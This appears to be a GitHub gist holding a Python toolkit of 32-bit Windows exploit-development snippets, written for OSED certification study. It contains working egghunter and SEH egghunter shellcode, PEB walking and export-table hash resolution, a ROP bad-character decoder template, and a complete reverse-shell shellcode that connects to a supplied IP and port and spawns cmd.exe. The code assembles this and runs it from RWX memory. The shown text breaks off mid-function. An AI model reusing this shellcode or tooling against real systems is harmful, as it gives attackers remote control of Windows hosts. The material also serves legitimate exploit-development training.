Last active
September 16, 2022 18:01
-
-
Save maK-/a80b0d125ee24bafec3554112a54390d to your computer and use it in GitHub Desktop.
32-bit Exploit Development Snippets (OSED Certification Exam)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
# ___ ____ _____ ____ | |
# / _ \/ ___|| ____| _ \ 32-bit | |
# | | | \___ \| _| | | | | Exploit | |
# | |_| |___) | |___| |_| | Development | |
# \___/|____/|_____|____/ Snippets | |
# by Ciaran McNally | |
#====================================== | |
#====================================== | |
import argparse | |
import subprocess | |
import os | |
import sys | |
import re | |
import numpy | |
import ctypes, struct | |
from struct import pack | |
from keystone import * | |
from pwn import unpack | |
#Function to calculate the 4-byte hash | |
def ror_str(byte, count): | |
binb = numpy.base_repr(byte, 2).zfill(32) | |
while count > 0: | |
binb = binb[-1] + binb[0:-1] | |
count -= 1 | |
return (int(binb, 2)) | |
#Convert IP string to shellcode format | |
def convert_ip(ipaddr): | |
ipdata = ipaddr.split(".") | |
result = "0x" | |
try: | |
for i in range(0,4): | |
result += str(hex(int(ipdata.pop())))[-2:].replace("x","0") | |
except IndexError: | |
print("Incorrect IP Address format provided!") | |
print("IP address raw: "+result+" ("+ipaddr+")") | |
ipval = int(result, 16) | |
diffval = int("0xffffffff", 16) | |
forshell = str(hex(diffval - ipval)).replace("'","") | |
if len(forshell) != 10: | |
forshell.replace("0x", "0x0") | |
print("For shellcode: "+forshell) | |
return forshell | |
#Convert port string to shellcode format | |
def convert_port(port): | |
data = str(pack("<L", int(port))[:-2]) | |
result = "0x" | |
cleaned = data.replace("\\x","").replace("b'","").replace("'","") | |
result += cleaned | |
print("Port used: "+result+" ("+port+")") | |
return result | |
#Output shellcode from keystone | |
def gen_sc(codez): | |
ks = Ks(KS_ARCH_X86, KS_MODE_32) | |
encoding, count = ks.asm(codez) | |
instructions = '' | |
for dec in encoding: | |
instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n") | |
print("Found "+str(count)+" instructions. Printing egghunter...") | |
print("------------------------------------------") | |
print(instructions) | |
print("------------------------------------------") | |
#Exec shellcode in current python process | |
def exec_sc(codez): | |
ks = Ks(KS_ARCH_X86, KS_MODE_32) | |
encoding, count = ks.asm(codez) | |
print("Instructions encoded: %d" % count) | |
sh = b"" | |
for e in encoding: | |
sh += struct.pack("B", e) | |
shellcode = bytearray(sh) | |
print("Length of shellcode: "+str(len(shellcode))) | |
#Print the shellcode | |
psc = "" | |
for dec in encoding: | |
psc += "\\x{0:02x}".format(int(dec)).rstrip("\n") | |
print("------------------------------------------") | |
print(psc) | |
print("------------------------------------------") | |
#Allocate a memory page (RWX) for shellcode | |
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), | |
ctypes.c_int(len(shellcode)), | |
ctypes.c_int(0x3000), | |
ctypes.c_int(0x40)) | |
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) | |
#Move shellcode to allocated region | |
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, | |
ctypes.c_int(len(shellcode))) | |
print("Shellcode located at address: %s" % hex(ptr)) | |
print("=[Attach Your Debugger]=") | |
input("Press any key to execute shellcode...") | |
#Run the shellcode from allocated region in a new thread | |
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), | |
ctypes.c_int(0), | |
ctypes.c_int(ptr), | |
ctypes.c_int(0), | |
ctypes.c_int(0), | |
ctypes.pointer(ctypes.c_int(0))) | |
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), | |
ctypes.c_int(-1)) | |
""" | |
#========== TEMPLATES ================ | |
#===================================== | |
#Function map bad characters in shellcode | |
def map_badchar(codez): | |
BADCHAR = b"\x00\x09\x0a\x0b\x0c\x0d\x20" | |
i = 0 | |
bindex = [] #Keep track of bad chars in shellcode | |
while i < len(codez): | |
for ch in BADCHAR: | |
if codez[i] == ch: | |
bindex.append(i) | |
i = i + 1 | |
return bindex | |
#Function to Custom encode the shellcode | |
def encode_sc(codez): | |
BADCHAR = b"\x00\x09\x0a\x0b\x0c\x0d\x20" | |
REPLACECH = b"\xff\x10\x06\x07\x08\x05\x1f" | |
encsh = codez | |
for i in range(len(BADCHAR)): | |
encsh = encsh.replace(pack("B", BADCHAR[i]), pack("B", REPLACECH[i])) | |
return encsh | |
#Template function to decode Custom encoded shellcode | |
def decode_sc(dllBase, badIndex, codez): | |
BADCHAR = b"\x00\x09\x0a\x0b\x0c\x0d\x20" | |
ADDCHARS = b"\x01\xf9\x04\x04\x04\x08\x01" | |
restoreROP = b"" | |
for i in range(len(badIndex)): | |
if i == 0: | |
offset = badIndex[i] | |
else: | |
offset = badIndex[i] - badIndex[i-1] | |
neg_offset = (-offset) & 0xffffffff | |
value = 0 | |
for j in range(len(BADCHAR)): | |
if codez[badIndex[i]] == BADCHAR[j]: | |
value = ADDCHARS[j] | |
value = (value << 8) | 0x1110011 | |
#NOTE: CHANGE DEPENDING ON GADGETS AVAILABLE | |
restoreROP += pack("<L", (dllBase + 0x117c)) #pop ecx; ret | |
restoreROP += pack("<L", (neg_offset)) #the replace offset | |
restoreROP += pack("<L", (dllBase + 0x4a7b6)) #pop eax, ecx; pop ebx; ret | |
restoreROP += pack("<L", (value)) #values in BH | |
restoreROP += pack("<L", (dllBase + 0x468ee)) #add [eax+1], bh; ret | |
return restoreROP | |
#===================================== | |
""" | |
#---------------------- | |
# MAIN FUNCTION | |
#---------------------- | |
if __name__ == '__main__': | |
parse = argparse.ArgumentParser() | |
parse.add_argument("-b", "--badchars", action="store_true", default=False, | |
help="Print all bad characters") | |
parse.add_argument("-nasm", "--nasm", action="store_true", default=False, | |
help="Open nasm shell") | |
parse.add_argument("-pc","--patterncreate", type=str, default=None, | |
help="Create a patttern to identify offsets") | |
parse.add_argument("-po","--patternoffset", type=str, default=None, | |
help="Find Pattern offset") | |
parse.add_argument("-egg", "--egghunt", action="store_true", default=False, | |
help="Generate egghunter shellcode") | |
parse.add_argument("-eggs", "--eggseh", action="store_true", default=False, | |
help="Generate SEH egghunter shellcode") | |
parse.add_argument("-rp", "--roplus", nargs="+", default=[], | |
help="Leverage rp++ output args <eg.exe> <result.txt>") | |
parse.add_argument("-ss", "--stackstr", type=str, default=None, | |
help="Convert string to stack format for shellcoding") | |
parse.add_argument("-fh", "--funchash", type=str, default=None, | |
help="4-byte hash of a function for shellcoding") | |
parse.add_argument("-smb", "--smbsrv", action="store_true", default=False, | |
help="Spin up impacket smbserver") | |
parse.add_argument("-dbg", "--dbgpy", action="store_true", default=False, | |
help="Debug current python process and exec shellcode") | |
parse.add_argument("-k32", "--findk32", action="store_true", default=False, | |
help="Shellcode to find kernel32.dll base address") | |
parse.add_argument("-func", "--findf", action="store_true", default=False, | |
help="Find function dynamically from EAT (k32)") | |
parse.add_argument("-rev", "--customrev", nargs="+", default=[], | |
help="Reverse shell (args): <ip> <port>") | |
args = parse.parse_args() | |
if len(sys.argv) <= 1: | |
parse.print_help() | |
sys.exit(0) | |
#---------------------- | |
#Print out \x00 - \xff | |
#---------------------- | |
if args.badchars: | |
print("\nFor finding bad characters...") | |
print("------------------------------------------") | |
for x in range(1,256): | |
print("\\x" + "{:02x}".format(x), end="") | |
print("\n------------------------------------------") | |
#---------------------- | |
#Use msf-pattern_create | |
#---------------------- | |
if args.patterncreate != None and args.patternoffset == None: | |
if os.name == "nt": | |
print("This needs to be run on Kali...") | |
else: | |
print("\nGenerating pattern...") | |
print("------------------------------------------") | |
msf_pc = ("msf-pattern_create","-l", args.patterncreate) | |
subprocess.run(msf_pc) | |
print("------------------------------------------") | |
#---------------------- | |
#Use msf-pattern_offset | |
#---------------------- | |
if args.patterncreate != None and args.patternoffset != None: | |
if os.name == "nt": | |
print("This needs to be run on Kali...") | |
else: | |
print('\nGetting pattern offset...') | |
print('------------------------------------------') | |
msf_po = ("msf-pattern_offset","-l", args.patterncreate, | |
"-q", args.patternoffset) | |
subprocess.run(msf_po) | |
#---------------------- | |
#Use msf-pattern_offset | |
#---------------------- | |
if args.patterncreate == None and args.patternoffset != None: | |
if os.name == "nt": | |
print("This needs to be run on Kali...") | |
else: | |
print('\nGetting pattern offset...') | |
print('------------------------------------------') | |
msf_po = ("msf-pattern_offset","-q", args.patternoffset) | |
subprocess.run(msf_po) | |
#---------------------- | |
#Open msf-nasm_shell | |
#---------------------- | |
if args.nasm: | |
if os.name == "nt": | |
print("This needs to be run on Kali...") | |
else: | |
msf_nasm = ("msf-nasm_shell") | |
subprocess.run(msf_nasm) | |
#---------------------- | |
#Open smbserver | |
#---------------------- | |
if args.smbsrv: | |
if os.name == "nt": | |
print("This needs to be run on Kali...") | |
else: | |
hostip = ("hostname", "-I") | |
subprocess.run(hostip) | |
smb_srv = ("impacket-smbserver","kalismb","$(pwd)") | |
subprocess.run(smb_srv) | |
#---------------------------- | |
#Generate Egghunter shellcode | |
#---------------------------- | |
if args.egghunt and os.name == "nt": | |
CODE = (" " | |
" loop_inc_pg: " | |
" or dx, 0x0fff; " #Go to last address in page | |
" loop_inc_one: " | |
" inc edx; " #Increase memory counter | |
" loop_check: " | |
" push edx; " #Save edx addr to stack | |
" mov eax, 0xfffffe3a; " #negative value of syscall 1C6 | |
" neg eax; " #neg eax to get actual value - | |
#init NtAccessCheckAndAuditAlarm | |
" int 0x2e; " #Do syscall | |
" cmp al,05; " #Check if Access violation | |
" pop edx; " #Restore value for egg check | |
" loop_check_valid: " | |
" je loop_inc_pg; " #If access violation - next page | |
" egg_found: " | |
" mov eax, 0x74303077; " #Push w00t to eax (using w00tw00t) | |
" mov edi, edx; " #init pointer with current addr | |
" scasd; " #Compare eax w/ dw in edi | |
" jnz loop_inc_one; " #No match, increase counter | |
" scasd; " #First part found, try next | |
" jnz loop_inc_one; " #No match (only half found) | |
" matched: " | |
" jmp edi; " #The edi reg points buffer, jmp | |
) | |
gen_sc(CODE) | |
#--------------------------------- | |
#Generate Egghunter SEH shellcode | |
#--------------------------------- | |
if args.eggseh and os.name == "nt": | |
CODE = (" " | |
" start: " | |
" jmp get_seh_addr; " #Jump to negative call | |
" build_except_record: " | |
" pop ecx; " #pop addr of exception handler | |
" mov eax, 0x74303077; " #w00t signature (using w00tw00t) | |
" push ecx; " #push Handler of err structure | |
" push 0xffffffff; " #push Next of err structure | |
" xor ebx, ebx; " #null out ebx | |
" mov dword ptr fs:[ebx], esp; " #overwite Exceptionlist in TEB | |
" sub ecx, 0x04; " #subtract 4 from exception_handler | |
" add ebx, 0x04; " #Add 4 to ebx (offset to overwrite) | |
" mov dword ptr fs:[ebx], ecx; " #overwrite the StackBase | |
" is_egg: " #with new err structure | |
" push 0x02; " | |
" pop ecx; " #pop value into ecx as counter | |
" mov edi, ebx; " #move memory addr into edi | |
" repe scasd; " #check sig, if invalid trigger exception | |
" jnz loop_inc_one; " #not found, increase ebx | |
" jmp edi; " #found sig, jump to | |
" loop_inc_pg: " | |
" or bx, 0xfff; " #if invalid, eip points here and next page | |
" loop_inc_one: " #increase ebx by one | |
" inc ebx; " | |
" jmp is_egg; " #check sig | |
" get_seh_addr: " | |
" call build_except_record; " #call higher address, push & ret egg pos | |
" push 0x0c; " #push to stack | |
" pop ecx; " #pop to ecx | |
" mov eax, [esp+ecx]; " #mov pointer for CONTEXT(exception) to eax | |
" mov cl, 0xb8; " #offset to the eip | |
" add dword ptr ds:[eax+ecx], 0x06;" #increase val eip +6 CONTEXT to inc mempage | |
" pop eax; " #save val to eax | |
" add esp, 0x10; " #increase esp to clean stack for call | |
" push eax; " #push return val to stack | |
" xor eax, eax; " #null eax to simulate ExceptionContinuExec | |
" ret; " #returning | |
) | |
gen_sc(CODE) | |
#--------------------------------------- | |
#Run shellcode in current python process | |
#for WinDBG (exploring TEB/PEB) | |
#--------------------------------------- | |
if args.dbgpy and os.name == "nt": | |
CODE = (" " | |
" start: " | |
" int3; " #Breakpoint for WinDBG | |
" mov ebp, esp; " | |
" sub esp, 60h; " | |
) | |
exec_sc(CODE) | |
#--------------------------------------- | |
#Find kernel32.dll base address | |
#--------------------------------------- | |
if args.findk32 and os.name == "nt": | |
CODE = (" " | |
" start: " | |
" int3; " #Breakpoint for WinDBG | |
" mov ebp, esp; " #Emulate a function call | |
" sub esp, 60h; " #Easy access to args avoiding stack clobber | |
" find_k32dll: " | |
" xor ecx, ecx; " #ecx = 0 | |
" mov esi, fs:[ecx+30h]; " #Store pointer to PEB in esi (offset x30) | |
" mov esi, [esi+0Ch]; " #PEB LDR data structure (offset x0C) | |
" mov esi, [esi+1Ch]; " #LDR.InInitOrderModuleList entry (offset x1C) | |
" next_mod: " | |
" mov ebx, [esi+8h]; " #Move baseaddr to ebx | InInitOrder[x].base_addr | |
" mov edi, [esi+20h]; " #Move modulename to edi | InInitOrder[x].mod_name | |
" mov esi, [esi]; " #ESI = InInitOrder[x].flink (next link in list) | |
" cmp [edi+12*2], cx; " #mod_name[12chars (kernel32.dll)] == null terminated? | |
" jne next_mod; " #Not found, next module | |
" ret; " | |
) | |
exec_sc(CODE) | |
#---------------------------------------------------- | |
#Find kernel32.dll functions (example for shellcoding) | |
#Dynamic resolve from Export Names Table | |
#Resolve and execute "TerminateProcess" | |
#---------------------------------------------------- | |
if args.findf and os.name == "nt": | |
CODE = (" " | |
" start: " | |
#" int3; " #Breakpoint for WinDBG | |
" mov ebp, esp; " #Emulate a function call | |
" add esp, 0xfffffdf0; " #Easy access to args avoiding stack clobber | |
" find_k32dll: " | |
" xor ecx, ecx; " #ecx = 0 | |
" mov esi, fs:[ecx+30h]; " #Store pointer to PEB in esi (offset x30) | |
" mov esi, [esi+0Ch]; " #PEB LDR data structure (offset x0C) | |
" mov esi, [esi+01Ch]; " #LDR.InInitOrderModuleList entry (offset x1C) | |
" next_mod: " | |
" mov ebx, [esi+8h]; " #Move baseaddr to ebx | InInitOrder[x].base_addr | |
" mov edi, [esi+20h]; " #Move modulename to edi | InInitOrder[x].mod_name | |
" mov esi, [esi]; " #ESI = InInitOrder[x].flink (next link in list) | |
" cmp [edi+12*2], ecx; " #mod_name[12chars (kernel32.dll)] == null terminated? | |
" jne next_mod; " #Not found, next module | |
#Avoid Null Bytes so using relative jumps | |
" find_func_short: " | |
" jmp find_func_short_bnc; " #Short jump | |
" find_func_ret: " | |
" pop esi; " #Pop the return address from the stack (esi) | |
" mov [ebp+0x04], esi; " #Save find_func address for later usage | |
" jmp resolve_symbols_k32; " #Jump down to resolve the symbols | |
" find_func_short_bnc: " | |
" call find_func_ret; " #Relative call with negative offset (above) | |
#Finding function from EAT | |
" find_func: " | |
" pushad; " #Save all registers to stack (clean restore) | |
" mov eax, [ebx+0x3c]; " #Offset to PE signature (BASE ADDR) | |
" mov edi, [ebx+eax+0x78]; " #Export Table Directory - RVA | |
" add edi, ebx; " #Export Table added to baseaddr (VMA of EAT) | |
" mov ecx, [edi+0x18]; " #NumberOfNames (Number of symbols - counter) | |
" mov eax, [edi+0x20]; " #AddressOfNames RVA | |
" add eax, ebx; " #AddressOfNames VMA | |
" mov [ebp-4], eax; " #Save AddressOfNames VMA for later use | |
" find_func_loop: " | |
" jecxz find_func_end; " #Jump to the end if ecx == 0 | |
" dec ecx; " #Decrement our names counter | |
" mov eax, [ebp-4]; " #Restore AddressOfNames VMA | |
" mov esi, [eax+ecx*4]; " #Get RVA of symbol name (each entry dword) | |
" add esi, ebx; " #Set ESI to VMA of current symbol name (+base) | |
#Calculating hash of Function name | |
" compute_hash: " | |
" xor eax, eax; " #Zero out eax | |
" cdq; " #Zero out edx | |
" cld; " #Clear direction | |
" compute_hash_again: " | |
" lodsb; " #Load next byte from esi to al | |
" test al, al; " #Check for null terminator | |
" jz compute_hash_end; " #If ZF we hit NULL terminator | |
" ror edx, 0x0d; " #Rotate edx 13bits to right | |
" add edx, eax; " #Add the new byte to accumulator | |
" jmp compute_hash_again; " #Iterate | |
" compute_hash_end: " | |
#Function address found? | |
" find_func_compare: " | |
" cmp edx, [esp+0x24]; " #Compare hash with requested hash (on stack) | |
" jnz find_func_loop; " #Not a match, continue search | |
" mov edx, [edi+0x24]; " #AddressOfNameOrdinals RVA | |
" add edx, ebx; " #AddressOfNameOrdinals VMA | |
" mov cx, [edx+2*ecx]; " #Extrapolate the functions ordinal | |
" mov edx, [edi+0x1c]; " #AddressOfFunctions RVA | |
" add edx, ebx; " #AddressOfFunctions VMA | |
" mov eax, [edx+4*ecx]; " #Get the functions RVA | |
" add eax, ebx; " #Get the functions VMA | |
" mov [esp+0x1c], eax; " #Overwrite eax on the stack (pushad) (return value) | |
" find_func_end: " | |
" popad; " #Restore registers from stack | |
" ret; " | |
" resolve_symbols_k32: " | |
" push 0x78b5b983; " # TerminateProcess hash (generated using py) | |
" call dword ptr [ebp+0x04]; " #Call find_function (pushed earlier) | |
" mov [ebp+0x10], eax; " #Save TerminateProcess Address for later usage | |
" exec_sc: " | |
" xor ecx, ecx; " #Null out ecx | |
" push ecx; " #uExitCode (pushed to stack) | |
" push 0xffffffff; " #hProcess (-1 - same proc) | |
" call dword ptr [ebp+0x10]; " #Call the TerminateProcess Win32 Function | |
) | |
exec_sc(CODE) | |
#------------------------------------------------------------------------------- | |
# Custom reverse shell - try remove common badchars like \x00\x0d\x20\x2b\x3d\x5e | |
#------------------------------------------------------------------------------- | |
if len(args.customrev) == 2 and os.name == "nt": | |
ipaddress = convert_ip(args.customrev[0]) | |
port = convert_port(args.customrev[1]) | |
CODE = ( | |
" start: " # | |
" mov ebp, esp ;" # | |
" add esp, 0xfffff9f0 ;" # Avoid NULL bytes | |
" find_kernel32: " # | |
" xor ecx, ecx ;" # ECX = 0 | |
" mov esi,fs:[ecx+0x30] ;" # ESI = &(PEB) ([FS:0x30]) | |
" mov esi,[esi+0x0C] ;" # ESI = PEB->Ldr | |
" mov esi,[esi+0x1C] ;" # ESI = PEB->Ldr.InInitOrder | |
" next_module: " # | |
#" mov ebx, [esi+0x08] ;" # EBX = InInitOrder[X].base_address | |
" xor eax, eax ;" # Wiping EAX | |
" add eax, [esi+0x08] ;" # Add value to EAX to remove E5 opcode | |
" mov ebx, eax ;" # Move to EBX | |
" xor eax, eax ;" # Wiping EAX | |
#" mov edi, [esi+0x20] ;" # EDI = InInitOrder[X].module_name | |
" mov eax, esi ;" # Attempting to replace x20 add | |
" add eax, 0x10 ;" # Adding 0x10 = + 0x20 | |
" add eax, 0x10 ;" # Adding 0x10 = + 0x20 | |
" mov edi, [eax] ;" # Replacing with original value = [esi+0x20] | |
" xor eax, eax ;" # Wiping EAX | |
# EDI = InInitOrder[X].module_name | |
" mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next) | |
" cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00 ? | |
" jne next_module ;" # No: try next module | |
" find_function_shorten: " # | |
" jmp find_function_shorten_bnc ;" # Short jump | |
" find_function_ret: " # | |
#" pop esi ;" # POP the return address from the stack | |
" pop eax ;" # Replacing 5e opcode | |
#" mov [ebp+0x04], esi ;" # Save find_function address for later usage | |
" mov [ebp+0x04], eax ;" # Save find_function address for later usage | |
" jmp resolve_symbols_kernel32 ;" # | |
" find_function_shorten_bnc: " # | |
" call find_function_ret ;" # Relative CALL with negative offset | |
" find_function: " # | |
" pushad ;" # Save all registers | |
# Base address of kernel32 is in EBX from | |
# Previous step (find_kernel32) | |
" mov eax, [ebx+0x3c] ;" # Offset to PE Signature | |
" mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA | |
" add edi, ebx ;" # Export Table Directory VMA | |
" mov ecx, [edi+0x18] ;" # NumberOfNames | |
#" mov eax, [edi+0x20] ;" # AddressOfNames RVA | |
" mov edx, edi ;" # Replacing 0x20 opcode | |
" add edx, 0x10 ;" # Adding +0x10 | |
" add edx, 0x10 ;" # Adding +0x10 | |
" mov eax, [edx] ;" # Moving Address of Names | |
" add eax, ebx ;" # AddressOfNames VMA | |
" mov [ebp-4], eax ;" # Save AddressOfNames VMA for later | |
" find_function_loop: " # | |
" jecxz find_function_finished ;" # Jump to the end if ECX is 0 | |
" dec ecx ;" # Decrement our names counter | |
" mov eax, [ebp-4] ;" # Restore AddressOfNames VMA | |
" mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name | |
" add esi, ebx ;" # Set ESI to the VMA of the current symbol name | |
" compute_hash: " # | |
" xor eax, eax ;" # NULL EAX | |
" cdq ;" # NULL EDX | |
" cld ;" # Clear direction | |
" compute_hash_again: " # | |
" lodsb ;" # Load the next byte from esi into al | |
" test al, al ;" # Check for NULL terminator | |
" jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term | |
#" ror edx, 0x0d ;" # Rotate edx 13 bits to the right | |
# Rotate 12 + 1? | |
" ror edx, 0x0c ;" # Rotate edx 13 bits to the right | |
" ror edx, 0x01 ;" # Rotate edx 13 bits to the right | |
" add edx, eax ;" # Add the new byte to the accumulator | |
" jmp compute_hash_again ;" # Next iteration | |
" compute_hash_finished: " # | |
" find_function_compare: " # | |
" cmp edx, [esp+0x24] ;" # Compare the computed hash with the requested hash | |
" jnz find_function_loop ;" # If it doesn't match go back to find_function_loop | |
" mov edx, [edi+0x24] ;" # AddressOfNameOrdinals RVA | |
" add edx, ebx ;" # AddressOfNameOrdinals VMA | |
" mov cx, [edx+2*ecx] ;" # Extrapolate the function's ordinal | |
" mov edx, [edi+0x1c] ;" # AddressOfFunctions RVA | |
" add edx, ebx ;" # AddressOfFunctions VMA | |
" mov eax, [edx+4*ecx] ;" # Get the function RVA | |
" add eax, ebx ;" # Get the function VMA | |
" mov [esp+0x1c], eax ;" # Overwrite stack version of eax from pushad | |
" find_function_finished: " # | |
" popad ;" # Restore registers | |
" ret ;" | |
" resolve_symbols_kernel32: " | |
" push 0x78b5b983 ;" # TerminateProcess hash | |
" call dword ptr [ebp+0x04] ;" # Call find_function | |
" mov [ebp+0x10], eax ;" # Save TerminateProcess address for later usage | |
" push 0xec0e4e8e ;" # LoadLibraryA hash | |
" call dword ptr [ebp+0x04] ;" # Call find_function | |
" mov [ebp+0x14], eax ;" # Save LoadLibraryA address for later usage | |
" push 0x16b3fe72 ;" # CreateProcessA hash | |
" call dword ptr [ebp+0x04] ;" # Call find_function | |
" mov [ebp+0x18], eax ;" # Save CreateProcessA address for later usage | |
" load_ws2_32: " # | |
" xor eax, eax ;" # NULL EAX | |
" mov ax, 0x6c6c ;" # Move the end of the string in AX | |
" push eax ;" # Push EAX on the stack with string NULL terminator | |
" push 0x642e3233 ;" # Push part of the string on the stack | |
" push 0x5f327377 ;" # Push another part of the string on the stack | |
" push esp ;" # Push ESP to have a pointer to the string | |
" call dword ptr [ebp+0x14] ;" # Call LoadLibraryA | |
" resolve_symbols_ws2_32: " | |
" mov ebx, eax ;" # Move the base address of ws2_32.dll to EBX | |
" push 0x3bfcedcb ;" # WSAStartup hash | |
" call dword ptr [ebp+0x04] ;" # Call find_function | |
" mov [ebp+0x1C], eax ;" # Save WSAStartup address for later usage | |
" push 0xadf509d9 ;" # WSASocketA hash | |
" call dword ptr [ebp+0x04] ;" # Call find_function | |
#" mov [ebp+0x20], eax ;" # Save WSASocketA address for later usage | |
#Trying to remove +0x20 above | |
" xor edx, edx ;" #0 out edx | |
" mov dl, 0x1f ;" #Adding 0x1f to edx | |
" mov [ebp + edx + 0x01], eax ;" # Save WSASocketA address for later usage | |
" push 0xb32dba0c ;" # WSAConnect hash | |
" call dword ptr [ebp+0x04] ;" # Call find_function | |
" mov [ebp+0x24], eax ;" # Save WSAConnect address for later usage | |
" call_wsastartup: " # | |
" mov eax, esp ;" # Move ESP to EAX | |
" mov cx, 0x590 ;" # Move 0x590 to CX | |
" sub eax, ecx ;" # Substract CX from EAX to avoid overwriting the structure later | |
" push eax ;" # Push lpWSAData | |
" xor eax, eax ;" # NULL EAX | |
" mov ax, 0x0202 ;" # Move version to AX | |
" push eax ;" # Push wVersionRequired | |
" call dword ptr [ebp+0x1C] ;" # Call WSAStartup | |
" call_wsasocketa: " # | |
" xor eax, eax ;" # NULL EAX | |
" push eax ;" # Push dwFlags | |
" push eax ;" # Push g | |
" push eax ;" # Push lpProtocolInfo | |
" mov al, 0x06 ;" # Move AL, IPPROTO_TCP | |
" push eax ;" # Push protocol | |
" sub al, 0x05 ;" # Substract 0x05 from AL, AL = 0x01 | |
" push eax ;" # Push type | |
" inc eax ;" # Increase EAX, EAX = 0x02 | |
" push eax ;" # Push af | |
#" call dword ptr [ebp+0x20] ;" # Call WSASocketA | |
# Remove 0x20 | |
" xor edx, edx ;" # 0 out edx | |
" mov dl, 0x1f ;" # Adding 0x1f to edx | |
" call dword ptr [ebp+edx+0x01] ;" # Call WSASocketA | |
" call_wsaconnect: " # | |
" mov esi, eax ;" # Move the SOCKET descriptor to ESI | |
" xor eax, eax ;" # NULL EAX | |
" push eax ;" # Push sin_zero[] | |
" push eax ;" # Push sin_zero[] | |
" mov eax, 0xffffffff ;" # Calculated offset | |
" sub eax, "+ ipaddress +";" # Restore original value | |
" push eax ;" # Push sin_addr (192.168.119.120) | |
" xor eax, eax ;" # NULL EAX | |
" mov ax, "+ port +";" # Move the sin_port (443) to AX | |
" shl eax, 0x10 ;" # Left shift EAX by 0x10 bytes | |
" add ax, 0x02 ;" # Add 0x02 (AF_INET) to AX | |
" push eax ;" # Push sin_port & sin_family | |
" push esp ;" # Push pointer to the sockaddr_in structure | |
" pop edi ;" # Store pointer to sockaddr_in in EDI | |
" xor eax, eax ;" # NULL EAX | |
" push eax ;" # Push lpGQOS | |
" push eax ;" # Push lpSQOS | |
" push eax ;" # Push lpCalleeData | |
" push eax ;" # Push lpCalleeData | |
" add al, 0x10 ;" # Set AL to 0x10 | |
" push eax ;" # Push namelen | |
" push edi ;" # Push *name | |
" push esi ;" # Push s | |
" call dword ptr [ebp+0x24] ;" # Call WSAConnect | |
" create_startupinfoa: " # | |
" push esi ;" # Push hStdError | |
" push esi ;" # Push hStdOutput | |
" push esi ;" # Push hStdInput | |
" xor eax, eax ;" # NULL EAX | |
" push eax ;" # Push lpReserved2 | |
" push eax ;" # Push cbReserved2 & wShowWindow | |
" mov al, 0x80 ;" # Move 0x80 to AL | |
" xor ecx, ecx ;" # NULL ECX | |
#" mov cx, 0x80 ;" # Move 0x80 to CX | |
" mov cl, 0x80 ;" # REPLACED: Move 0x80 to CL | |
" add eax, ecx ;" # Set EAX to 0x100 | |
" push eax ;" # Push dwFlags | |
" xor eax, eax ;" # NULL EAX | |
" push eax ;" # Push dwFillAttribute | |
" push eax ;" # Push dwYCountChars | |
" push eax ;" # Push dwXCountChars | |
" push eax ;" # Push dwYSize | |
" push eax ;" # Push dwXSize | |
" push eax ;" # Push dwY | |
" push eax ;" # Push dwX | |
" push eax ;" # Push lpTitle | |
" push eax ;" # Push lpDesktop | |
" push eax ;" # Push lpReserved | |
" mov al, 0x44 ;" # Move 0x44 to AL | |
" push eax ;" # Push cb | |
" push esp ;" # Push pointer to the STARTUPINFOA structure | |
" pop edi ;" # Store pointer to STARTUPINFOA in EDI | |
" create_cmd_string: " # | |
" mov eax, 0xff9a879b ;" # Move 0xff9a879b into EAX | |
" neg eax ;" # Negate EAX, EAX = 00657865 | |
" push eax ;" # Push part of the "cmd.exe" string | |
" push 0x2e646d63 ;" # Push the remainder of the "cmd.exe" string | |
" push esp ;" # Push pointer to the "cmd.exe" string | |
" pop ebx ;" # Store pointer to the "cmd.exe" string in EBX | |
" call_createprocessa: " # | |
" mov eax, esp ;" # Move ESP to EAX | |
" xor ecx, ecx ;" # NULL ECX | |
" mov cx, 0x390 ;" # Move 0x390 to CX | |
" sub eax, ecx ;" # Substract CX from EAX to avoid overwriting the structure later | |
" push eax ;" # Push lpProcessInformation | |
" push edi ;" # Push lpStartupInfo | |
" xor eax, eax ;" # NULL EAX | |
" push eax ;" # Push lpCurrentDirectory | |
" push eax ;" # Push lpEnvironment | |
" push eax ;" # Push dwCreationFlags | |
" inc eax ;" # Increase EAX, EAX = 0x01 (TRUE) | |
" push eax ;" # Push bInheritHandles | |
" dec eax ;" # NULL EAX | |
" push eax ;" # Push lpThreadAttributes | |
" push eax ;" # Push lpProcessAttributes | |
" push ebx ;" # Push lpCommandLine | |
" push eax ;" # Push lpApplicationName | |
" call dword ptr [ebp+0x18] ;" # Call CreateProcessA | |
) | |
exec_sc(CODE) | |
#------------------------------------------------ | |
#Run rp++ on exe/dll - rop gadgets | |
#------------------------------------------------ | |
if len(args.roplus) == 2: | |
if os.name == "nt": | |
filename = open(args.roplus[1], "w") | |
rp_run = ("rp-win-x86.exe", "-f", args.roplus[0], "-r", "5") | |
res = subprocess.call(rp_run, stdout=filename) | |
else: | |
print("This needs to be run on Windows...") | |
#------------------------------------------------ | |
#Convert a string to push to stack | |
#ref: https://gist.github.com/JohnHammond/f78a9d878585bad232cba060c1d79623 | |
#------------------------------------------------ | |
if args.stackstr != None: | |
data = bytes(args.stackstr,"utf-8") | |
str_pieces = [] | |
lil_reg = "al" | |
half_reg = "ax" | |
full_reg = "eax" | |
print("Push string/args to stack x86...") | |
print("------------------------------------------") | |
for i in range(0, len(data), 4): | |
blob = data[i : i + 4] | |
str_pieces.append((hex(unpack(blob, "all")),blob.decode("utf-8"))) | |
count = 0 | |
for each in str_pieces[::-1]: | |
piece, value = each | |
if len(piece) <= 10: | |
reg = full_reg | |
if len(piece) <= 6: | |
print(f'"xor {full_reg}, {full_reg};" # zero out {full_reg}') | |
reg = half_reg | |
print(f'"mov {reg}, {piece}"; # ensure nullbyte') | |
print(f"\"push {full_reg};\" # end string '{value}' with nullbyte") | |
count += 1 | |
continue | |
if len(piece) <= 4: | |
